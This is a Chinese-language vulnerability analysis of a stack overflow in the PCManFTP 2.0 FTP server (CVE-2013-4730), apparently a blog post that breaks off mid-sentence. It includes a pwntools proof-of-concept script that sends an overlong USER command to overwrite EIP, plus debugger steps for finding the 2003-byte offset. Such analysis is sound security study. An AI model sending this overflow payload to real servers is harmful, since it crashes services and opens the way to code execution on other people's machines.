PCManFTP2.0 (CVE-2013-4730)漏洞分析
简介
pcManFTP是一款FTP服务器软件,它的2.0版本在接受命令时,
如果命令后的字符串过长会发生溢出,该溢出漏洞可导致执行任意机器指令。
漏洞分析环境
OS: Microsoft Windows 10 64bit 专业版
Software: PCManFTP 2.0
winDbg: 6.12.2.633
IDAPro: 6.8 绿色版
python: python 2.7
漏洞分析
参考了k0shl大佬的视频https://www.ichunqiu.com/qad/course/56129
编写了如下的python脚本用作poc,文件名:poc.py
#!/usr/bin/env python
# coding=utf-8
# fileName: poc.py
# usage: python poc.py ip port payloadNum
from pwn import *
import sys
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = cyclic(int(sys.argv[3])) #用于快速定位漏洞触发位置
r = remote(RHOST,RPORT)
print r.recv(1024)
r.send('USER '+payload+'\r\n')
print r.recv(1024)
r.close()
然后打开winDbg,这里使用了打开的方法调试PCManFTP2.exe,直接输入g命令执行。
然后执行如下命令运行poc.py
python poc.py 192.168.0.103 21 2048
这时由于产生了异常winDbg被断下
可以看到eip被覆盖为0x61616275,使用cyclic -l 0x61616275
命令可得到从缓冲区到返回地址一共有2003个字节
下面进行分析看是哪个函数调用使缓冲区溢出了。执行kb命令可以发现,整个栈空间大都被畸形字符串覆盖了
这里无法通过堆栈回溯找到上层的调用。由于软件是网络软件,在接受客户端命令时可能会调用recv()的接受函数,这时打开ida加载pcmanftp搜索文本recv
找到了两处recv()的调用,重新打开winDbg并下这两处的断点,输入g继续执行
bp 4029d5
bp 40563e
执行poc.py,windbg断在4029d5处,在输入g继续执行发现eip又被覆盖为61616275
,说明缓冲区被覆盖的位置在第一次触发断点之后,而且40563e位置的断点没有触发可以删除。再次打开winDbg下断点bp 4029d5
,执行poc并断下后,查看函数参数
recv函数的原型是<